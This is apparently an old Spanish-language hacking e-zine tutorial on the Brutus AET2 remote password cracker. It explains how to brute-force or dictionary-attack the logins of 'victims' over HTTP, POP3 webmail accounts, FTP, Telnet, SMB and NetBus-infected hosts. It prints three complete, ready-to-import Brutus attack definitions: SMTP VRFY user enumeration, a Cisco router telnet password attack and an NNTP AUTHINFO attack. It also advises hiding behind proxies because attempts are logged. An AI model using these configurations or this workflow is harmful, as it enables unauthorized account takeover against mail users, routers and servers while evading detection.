/***********************\
*****|*Brutus - AET2 - by Rah3*|*****
\***********************/
Hola a todos voy a hablaros de un programa con el q deberiais
familiarizaros, ya q resulta de mucha utilidad en muchas ocasiones.
Podemos definir el Brutus como un crackeador de passwords remoto
on-line, es rapido admite hasta 60 conexiones simultaneas (cuidado con esto
que puedes tirar abajo algun servicio), puede llegar 2500 palabras por segundo
<< con dialup ni de coña, no es bueno excederse en esto casi regula las
conexiones segun tu linea y la calidad de respuesta que te de el servidor.
Haber empecemos con lo q interesa, lo primero q haremos sera descargar
el brutus http:/www.hoobie.net/brutus, bien estas son sus
caracterisitic
as:
Podemos utilizar el brutus para sacar passwords:
HTTP (Autentificacio
n basica)
HTTP (HTLM Form/CGI)
POP3
FTP
SMB (netBIOS)
TELNET
NETBUS
Y a parte podemos configurarlo para petar un servicio q configuremos
nosotros mismos como smtp, nntpd etc
entre sus caracteristica
s cabe destacar la posibilidar de usar un proxy
sock(v4) sock(v4.1) y sock(5), puedes encontrar proxies en
Para ver este enlace Registrate o Inicia Sesion a veces muchos servicios
Tambien dispone de un generador de diccionarios bastante completo, en Tools >>
Wordlist Generator, veamos las opciones que tiene:
Convert list (LF>CRLF) - convierte una lista de palabras en formato unix a formato
dos cambiando los saltos de linea, para usarlo selecionaremos la lista en estilo
unix en input list y en output list el nombre de la lista de salida q keremos.
Only word length - con esta opcion lo q hacemos es coger de una lista
de palabras las q keramos en funcion de su longitud definiremos el
numero de caracteres en word lenght y selecionaremos la lista q keremos
en input list y la de salida en output
Remove duplicates - esta opcion lo q hace es copiar la lista de entrada
a la q keramos eliminando las palabras duplicadas.
Permutations - esta opcion realiza cualkier tipo de permutaciones sobre
una determinada lista de palabras añadiendo mayusculas minusculas
invirtiendo la palabra... solo es usar la permutacion q mas nos
interese.
Create new list - con esta opcion ya no necesitamos una lista de entrada
simplemente crearemos una con los parametros q keramos donde definiremos
el numero de caracteres y las permutaciones como en el apartado anterior
ademas tenemos la opcion de seed word q lo q hace es q nosotros añadimos
unas palabras y vea la lista utilizando esos caracteres.
Create new list for user - aki crearemos una nueva lista en la ke ademas
podremos poner un nombre de usuario del cual partira el programa
Create new list for users - esta es igual q la anterior pero podemos
selecionar una lista q tengamos con usuarios en input list para q cree
la lista en base a esos users.
Podemos utilizar varios metodos de autentificacio
n tanto para el modo de
password como para el modo de usuario:
En Authentication Options: El modo de identificacion del usuario siempre es el
mismo para todos los metodos de ataque que explicaremos detenidamente, hay dos
modos como podras observar "Use Username" el cual usa un diccionario y va
probando uno a uno, o "Single User" que sirve para usar un solo login, el de
la victima y con ese login probara todos los pass mediante los metodos que
vamos a ver ahora.
NOTA: He visto el diccionario de users.txt es pequeñito aqui os lo planto
Admin
administrator
test
guest
root
backup
Bueno respecto a servicios ftp estos nombres de usuarios y alguno mas se les
deniega el acceso como login , bueno esto esta en /etc/ftpusers en un proftp,
pero asi suele venir en muchos servicios ftp segun los instalas
root
bin
daemon
adm
lp
sync
shutdown
halt
mail
news
uucp
operator
games
nobody
Este archivo puede modificarse, simplemente con añadir + usuarios a quien
deniegen el acceso y todo depende de quien lo administre, bueno ahora veamos
lo distintos modos de ataque
Para usar distintos metodos de ataque solo tienes que seleccionar en "Pass
Mode" y coger el ataque que mas te convenga
Word list "Ataque por diccionario": No pienses que estamos hablando de el
larouse, si no de una simple lista de palabras, que nos pueden ahorrar trabajo
a diferencia de otros metodos como el brute force ,. para seleccionar el
diccionario solo tienes que ir a Browse y escogerlo
Combo list: Para este tipo de ataque tambien se necesita un diccionario, si
la diferencia con el de arriba es que combinan las palabras del diccionario
separadas por ":" "_", ej guest:password ver example-combo.txt
Brute force "Ataque por fuerza bruta", este ataque trata de sacar el pass
mediante conbinaciones de "letras, numeros, caracteres especiales" esto
pueder personalizarlo he incluso limitar el numero de caracteres, cuando
seleccionas este metodo aparece el boton "Range" cuando calcas este se abre un
menu "Brute Force Generation", en el cual hay varias opciones:
Digits Only: Solo numeros
Lowercase Alpha: Solo minusculas
Uppercase Alpha: Solo mayusculas
Mixed Alpha: combinacion de mayusculas y minusculas
Alphanumeric: abcd....z
Full Keyspace: Prueba con espacios por ej: Pepe 12
Custom Range: Ahi puedes meter los caracteres que quieras
Min Length: Seleccionas el numero de caracteres minimo que podra tener el pass
Max Length : Aqui seleccionas el numero de caracteres maximo que comprobara
Eleccion de servicio a atacar:
Las 2 primeras opciones HTTP se utilizan para entrar en esas paginas q
al intentar acceder nos sale una ventana pidiendo login y pass
utilizaremos uno u otro dependiendo del tipo de autentificacio
n q
rekiera dicha web lo comprobaremos probando con ambos tipos., las HTTP "CGI
application authentication" son las que usan programas CGIs, para
autentificarse, (podeis mirar el articulo de Problemas con los CGIs de NORTH
que comenta un poco que son los cgis etc). Para utilizarlos no hay mas q poner
en target por ej
Para ver este enlace Registrate o Inicia Sesionwww.victima.co m
o victima.com y seleccionar en
autentificatio
ns options use username y pass mode el metodo ke mas nos
convenga como norma general usaremos en este tipo de webs un dicionario del
idioma en el ke este dicha web. Esto es util sobre todo para esas webs xxx en
las q rekieren ser socio para entrar claro esta q no sacaremos nada util de
ellas unke estareis un rato entretenidos xDD.
POP3 bueno esto ya es algo mas interesante usaremos esta opcion para
petar cuentas de correo de servidores q tenga pop3 activo.
Selecionamos POP3 y en target escribimos POP3.victima.c
om por ejemplo:
(pop3.terra.es) o en su caso la ip, en autentificatio
n options
marcamos use username y single user, y escribiremos en la casilla de
userid victima.terra.
es si la cuenta de la victima es
(
victima@terra.es). Lo escribiremos con punto(.) no arroba(@) y de
nuevo usaremos el modo de pass q mas nos interese ya sea dicc, combo o
brute force.
Bueno pasemos al ftp aunke como vereis la rutina es parecida en todos
los tipos rekieren pekeñas variaciones en cada uno de ellos. En este
caso nos convendra tener un nombre de usuario del ke trataremos de
sacar el pass aunke tb podemos buscar nombres de usuario al azar lo
cual logicamente nos llevara mucho tiempo. Selecionamos type ftp y si
tenemos un nombre de usuario marcaremos use username y single user
escribiremos el nombre de usuario por ej: pardillo y selecionaremos el
metodo dicc, combo... si no tenemos nombre de usuario selecionamos un
diccionario y marcamos solo la casilla use username.
TELNET pues es facil lo haremos igual q con un ftp pero selecionando
type telnet claro esta .
SMB (netBIOS) bueno aki tenemos otro servicio del cual tb podemos
sacar provecho usando el brutus si es q esta protegido, cuanta gente piensa
que este servicio lo dan solo maquinas con win lo habre oido mil veces, "naa
tio es un win tiene el 139 abierto" ,cuando hablamos de SMB"Server Message
Block"SMB es un protocolo idea de IBM mientras desarrollaban un sistema basico
de E/S para LANS, que luego se llamo NetBIOS, sobre el que luego IBM
implemento una interfad mejorada de usuario, llamada NetBEUI. NetBIOS se
puede transportar sobre diferentes protocolos de red: NetBEUI, IPX/SPX y
TCP/IP, etc. tb se pueden ofrecer este servicio en otros sistemas unices,
OS/2, BeOS etc, la unica cosa q tendremos q tener en cuenta a la hora de
realizar nuestro atake, en target escribimos la ip de la victima selecionamos
type SMB(netBIOS) y ahora en SMB options si se trata de una makina NT
escribiremos el nombre del dominio si es solo un pc con win2 9x no
marcaremos esta opcion, a continuacion en autentificacio
n options ya
sabeis selecionaremos use username y el modo de pass q mas nos
convenga.
NETBUS he aki otra utilidad por si olvidamos el pass de alguna victima
de netbus o simplemente keremos entrar en alguna q hemos encontrao y
esta protegida con pass. Si conoceis este troyano sabreis q cuando lo
proteges con pass para entrar solo se rekiere el pass no el login, por
eso al selecionar type netbus no podemos selecionar en
autentificatio
ns options la opcion de use username o single user si no
q solo podemos selecionar la opcion de pass (dicc, combo list ...)
pues eso haremos lo cual no tiene mayor complicacion.
Ya hemos visto los types q trae el brutus de serie pero no nos vamos a
kedar ahi, tb podemos crear nuevos types es decir preparar el brutus
para q se conecte a un determinado servicio usando unas determinadanas
instruciones q pondremos en el archivo q hagamos.
Ahora os voy a poner un ejemplo de como preparar nuevos types vamos a
ver uno para (smtp_verificac
ion_de_usuario
), en la web oficial podeis
encontrar alguno, te preguntaras como se hacen pues simplemente viendo como
verifica el servicio el nombre del usuario y la pass, o en algunos casos solo
las pass , para ello puedes ayudarte un sniffer, netcat o cualquier cliente de
telnet ya hablaremos de estas utilidades o utilidades parecidas en siguientes
ezines.
Seria asi:
\/----------------------empieza_codigo----copiar_desde_aki--------\/
[Brutus Application Definition]
Version=AET2
Target=
Port=25
UseUserID=0
userprompt=login
passprompt=passwd
RespString=
HTTPRequestTyp
e=POST
useHTTPKeepAli
ve=1
posResponse=0
IsTelnet=0
IsHTTP=0
IsSMB=0
maPrimaryRespo
nseIsPositive=0
maSecondaryRes
ponseIsPositiv
e=0
maPrimaryRespo
nseAction=13
maSecondaryRes
ponseAction=13
maUserPrefix=""
maUserPostfix=""
maPassPrefix="VRFY "
maPassPostfix=""
maUsePreAuth=1
maMaxAuthsConx=0
HTTPFormFieldU
pdate=0
HTTPUseCookies=1
HTTPCookieUpda
te=1
HTTPReferer=
CookieNames1=
CookieValues1=
CookieNames2=
CookieValues2=
CookieNames3=
CookieValues3=
CookieNames4=
CookieValues4=
maauthStageStr
ings1=""
maauthReadLeng
th1=1
maauthSendPost
fix1=None
HTTPFormFields
1=
HTTPFormFieldV
alues1=
maauthStageStr
ings2="220"
maauthReadLeng
th2=1
maauthSendPost
fix2=None
HTTPFormFields
2=
HTTPFormFieldV
alues2=
maauthStageStr
ings3="HELO ."
maauthReadLeng
th3=1
maauthSendPost
fix3=CR+LF
HTTPFormFields
3=
HTTPFormFieldV
alues3=
maauthStageStr
ings4=""
maauthReadLeng
th4=1
maauthSendPost
fix4=None
HTTPFormFields
4=
HTTPFormFieldV
alues4=
maauthStageStr
ings5=""
maauthReadLeng
th5=1
maauthSendPost
fix5=None
HTTPFormFields
5=
HTTPFormFieldV
alues5=
maauthStageStr
ings6=""
maauthReadLeng
th6=1
maauthSendPost
fix6=None
HTTPFormFields
6=
HTTPFormFieldV
alues6=
maauthStageStr
ings7=""
maauthReadLeng
th7=1
maauthSendPost
fix7=None
HTTPFormFields
7=
HTTPFormFieldV
alues7=
maauthStageStr
ings8=""
maauthReadLeng
th8=1
maauthSendPost
fix8=None
HTTPFormFields
8=
HTTPFormFieldV
alues8=
maauthStageStr
ings9=""
maauthReadLeng
th9=1
maauthSendPost
fix9=None
HTTPFormFields
9=
HTTPFormFieldV
alues9=
maauthStageStr
ings10=""
maauthReadLeng
th10=1
maauthSendPost
fix10=None
HTTPFormFields
10=
HTTPFormFieldV
alues10=
maauthStageStr
ings11=""
maauthReadLeng
th11=1
maauthSendPost
fix11=None
HTTPFormFields
11=
HTTPFormFieldV
alues11=
maauthStageStr
ings12="250"
maauthReadLeng
th12=1
maauthSendPost
fix12=None
HTTPFormFields
12=
HTTPFormFieldV
alues12=
maauthStageStr
ings13=""
maauthReadLeng
th13=1
maauthSendPost
fix13=CR+LF
HTTPFormFields
13=
HTTPFormFieldV
alues13=
maauthStageStr
ings14="550"
maauthReadLeng
th14=1
maauthSendPost
fix14=None
HTTPFormFields
14=
HTTPFormFieldV
alues14=
maauthStageStr
ings15="252"
maauthReadLeng
th15=1
maauthSendPost
fix15=None
HTTPFormFields
15=
HTTPFormFieldV
alues15=
maauthStageStr
ings16=""
maauthReadLeng
th16=1
maauthSendPost
fix16=None
HTTPFormFields
16=
HTTPFormFieldV
alues16=
/\------------------------fin_de_codigo-----copiar_hasta_aki---------/\
Para utilizar este codigo crearemos un archivo bad pegaremos en el el
codigo y lo guardamos con el nombre q keramos por ej: smtp_b_auth.ba
d una
vez guardado solo hay que ir a File > Import Service y seleccionar el type,
estos types los puedes configurar en Modify Sequence tb, ahi puedes cambiarlo
a tu gusto el metodo o la forma de autentificacio
n, tiempo de espera etc ,
lo guardas con la configuracion que tu quieras en File > Export Service.
Este type lo ke hace es utilizar el comado VRFY "verify" (utilizado para
verificar el nombre del usuario) q aunke suele estar desactivado en muchos
server debido a que puede revelar informacion tambien otro comando que puede
revelar informacion es EXPN (expand) sirve para indicar como se va a resolver
la dirección de correo del RCPT que le indiquemos, aunque sea antiguo todavia
hay algunos en los que no lo esta desactivado y lo que nos permitira es
comprobar utilizando una lista o dicc de users comprobar cuales estan
utlizados o no.
Veamos otro para atakar el password en un router CISCO
\/----------------------empieza_codigo----copiar_desde_aki--------\/
[Brutus Application Definition]
Version=AET2
Target=
Port=23
UseUserID=0
userprompt=
passprompt=
RespString=
HTTPRequestTyp
e=GET
useHTTPKeepAli
ve=1
posResponse=0
IsTelnet=1
IsHTTP=0
IsSMB=0
maPrimaryRespo
nseIsPositive=0
maSecondaryRes
ponseIsPositiv
e=0
maPrimaryRespo
nseAction=13
maSecondaryRes
ponseAction=5
maUserPrefix=""
maUserPostfix=""
maPassPrefix=""
maPassPostfix=""
maUsePreAuth=1
maMaxAuthsConx=0
HTTPFormFieldU
pdate=0
HTTPUseCookies=1
HTTPCookieUpda
te=1
HTTPReferer=
CookieNames1=
CookieValues1=
CookieNames2=
CookieValues2=
CookieNames3=
CookieValues3=
CookieNames4=
CookieValues4=
maauthStageStr
ings1=""
maauthReadLeng
th1=1
maauthSendPost
fix1=None
HTTPFormFields
1=
HTTPFormFieldV
alues1=
maauthStageStr
ings2="Password:"
maauthReadLeng
th2=1
maauthSendPost
fix2=None
HTTPFormFields
2=
HTTPFormFieldV
alues2=
maauthStageStr
ings3="cisco"
maauthReadLeng
th3=1
maauthSendPost
fix3=CR+LF
HTTPFormFields
3=
HTTPFormFieldV
alues3=
maauthStageStr
ings4=">"
maauthReadLeng
th4=1
maauthSendPost
fix4=None
HTTPFormFields
4=
HTTPFormFieldV
alues4=
maauthStageStr
ings5="enable"
maauthReadLeng
th5=1
maauthSendPost
fix5=CR+LF
HTTPFormFields
5=
HTTPFormFieldV
alues5=
maauthStageStr
ings6=""
maauthReadLeng
th6=1
maauthSendPost
fix6=None
HTTPFormFields
6=
HTTPFormFieldV
alues6=
maauthStageStr
ings7=""
maauthReadLeng
th7=1
maauthSendPost
fix7=None
HTTPFormFields
7=
HTTPFormFieldV
alues7=
maauthStageStr
ings8=""
maauthReadLeng
th8=1
maauthSendPost
fix8=None
HTTPFormFields
8=
HTTPFormFieldV
alues8=
maauthStageStr
ings9=""
maauthReadLeng
th9=1
maauthSendPost
fix9=None
HTTPFormFields
9=
HTTPFormFieldV
alues9=
maauthStageStr
ings10=""
maauthReadLeng
th10=1
maauthSendPost
fix10=None
HTTPFormFields
10=
HTTPFormFieldV
alues10=
maauthStageStr
ings11=""
maauthReadLeng
th11=1
maauthSendPost
fix11=None
HTTPFormFields
11=
HTTPFormFieldV
alues11=
maauthStageStr
ings12="Password:"
maauthReadLeng
th12=1
maauthSendPost
fix12=None
HTTPFormFields
12=
HTTPFormFieldV
alues12=
maauthStageStr
ings13=""
maauthReadLeng
th13=1
maauthSendPost
fix13=CR+LF
HTTPFormFields
13=
HTTPFormFieldV
alues13=
maauthStageStr
ings14="Password:"
maauthReadLeng
th14=1
maauthSendPost
fix14=None
HTTPFormFields
14=
HTTPFormFieldV
alues14=
maauthStageStr
ings15="% Bad passwords"
maauthReadLeng
th15=1
maauthSendPost
fix15=None
HTTPFormFields
15=
HTTPFormFieldV
alues15=
maauthStageStr
ings16=""
maauthReadLeng
th16=1
maauthSendPost
fix16=None
HTTPFormFields
16=
HTTPFormFieldV
alues16=
/\------------------------fin_de_codigo-----copiar_hasta_aki---------/\
Veamos otro mas para atakar el metodo de autentificacio
n q usan los servidores
que proporcionan servicios nntpd "Network News Transfer Protocol" como podras
observar en el codigo usa el puerto 119
\/----------------------empieza_codigo----copiar_desde_aki--------\/
[Brutus Application Definition]
Version=AET2
Target=
Port=119
UseUserID=1
userprompt=
passprompt=
RespString=
HTTPRequestTyp
e=POST
useHTTPKeepAli
ve=0
posResponse=0
IsTelnet=0
IsHTTP=0
IsSMB=0
maPrimaryRespo
nseIsPositive=0
maSecondaryRes
ponseIsPositiv
e=1
maPrimaryRespo
nseAction=0
maSecondaryRes
ponseAction=0
maUserPrefix="AUTHINFO USER "
maUserPostfix=""
maPassPrefix="AUTHINFO PASS "
maPassPostfix=""
maUsePreAuth=0
maMaxAuthsConx=0
HTTPFormFieldU
pdate=0
HTTPUseCookies=1
HTTPCookieUpda
te=1
HTTPReferer=
CookieNames1=
CookieValues1=
CookieNames2=
CookieValues2=
CookieNames3=
CookieValues3=
CookieNames4=
CookieValues4=
maauthStageStr
ings1=""
maauthReadLeng
th1=1
maauthSendPost
fix1=None
HTTPFormFields
1=
HTTPFormFieldV
alues1=
maauthStageStr
ings2=""
maauthReadLeng
th2=1
maauthSendPost
fix2=None
HTTPFormFields
2=
HTTPFormFieldV
alues2=
maauthStageStr
ings3=""
maauthReadLeng
th3=1
maauthSendPost
fix3=None
HTTPFormFields
3=
HTTPFormFieldV
alues3=
maauthStageStr
ings4=""
maauthReadLeng
th4=1
maauthSendPost
fix4=None
HTTPFormFields
4=
HTTPFormFieldV
alues4=
maauthStageStr
ings5=""
maauthReadLeng
th5=1
maauthSendPost
fix5=None
HTTPFormFields
5=
HTTPFormFieldV
alues5=
maauthStageStr
ings6=""
maauthReadLeng
th6=1
maauthSendPost
fix6=None
HTTPFormFields
6=
HTTPFormFieldV
alues6=
maauthStageStr
ings7=""
maauthReadLeng
th7=1
maauthSendPost
fix7=None
HTTPFormFields
7=
HTTPFormFieldV
alues7=
maauthStageStr
ings8=""
maauthReadLeng
th8=1
maauthSendPost
fix8=None
HTTPFormFields
8=
HTTPFormFieldV
alues8=
maauthStageStr
ings9=""
maauthReadLeng
th9=1
maauthSendPost
fix9=None
HTTPFormFields
9=
HTTPFormFieldV
alues9=
maauthStageStr
ings10="200"
maauthReadLeng
th10=1
maauthSendPost
fix10=None
HTTPFormFields
10=
HTTPFormFieldV
alues10=
maauthStageStr
ings11=""
maauthReadLeng
th11=1
maauthSendPost
fix11=CR+LF
HTTPFormFields
11=
HTTPFormFieldV
alues11=
maauthStageStr
ings12="381"
maauthReadLeng
th12=1
maauthSendPost
fix12=None
HTTPFormFields
12=
HTTPFormFieldV
alues12=
maauthStageStr
ings13=""
maauthReadLeng
th13=1
maauthSendPost
fix13=CR+LF
HTTPFormFields
13=
HTTPFormFieldV
alues13=
maauthStageStr
ings14="502"
maauthReadLeng
th14=1
maauthSendPost
fix14=None
HTTPFormFields
14=
HTTPFormFieldV
alues14=
maauthStageStr
ings15="281"
maauthReadLeng
th15=1
maauthSendPost
fix15=None
HTTPFormFields
15=
HTTPFormFieldV
alues15=
maauthStageStr
ings16=""
maauthReadLeng
th16=1
maauthSendPost
fix16=None
HTTPFormFields
16=
HTTPFormFieldV
alues16=
/\------------------------fin_de_codigo-----copiar_hasta_aki---------/\
Kiero recomendaros q siempre q engacheis el brutus a alguna victima no
lo hagais directamente recomiendo q useis un proxy, o cualkier otro
metodo para mantener el anonimato pq todos los intentos q hagais
kedaran logeados.
Bueno creo q no me dejo nd espero q os resulte util esta explicaion y
si no pos a joderse xDD.
Podeis reanudar vuestro "ataque": el brutus guarda el utlimo ataque en
autosave.bru, puedes reanudarlo solo con ir a File > Load Session, asi como
guardar tus ataques en Save Session con el nombrequequier
as.bru
Para cualkier duda preguntar por mail con asunto "Rah3" a esta direcion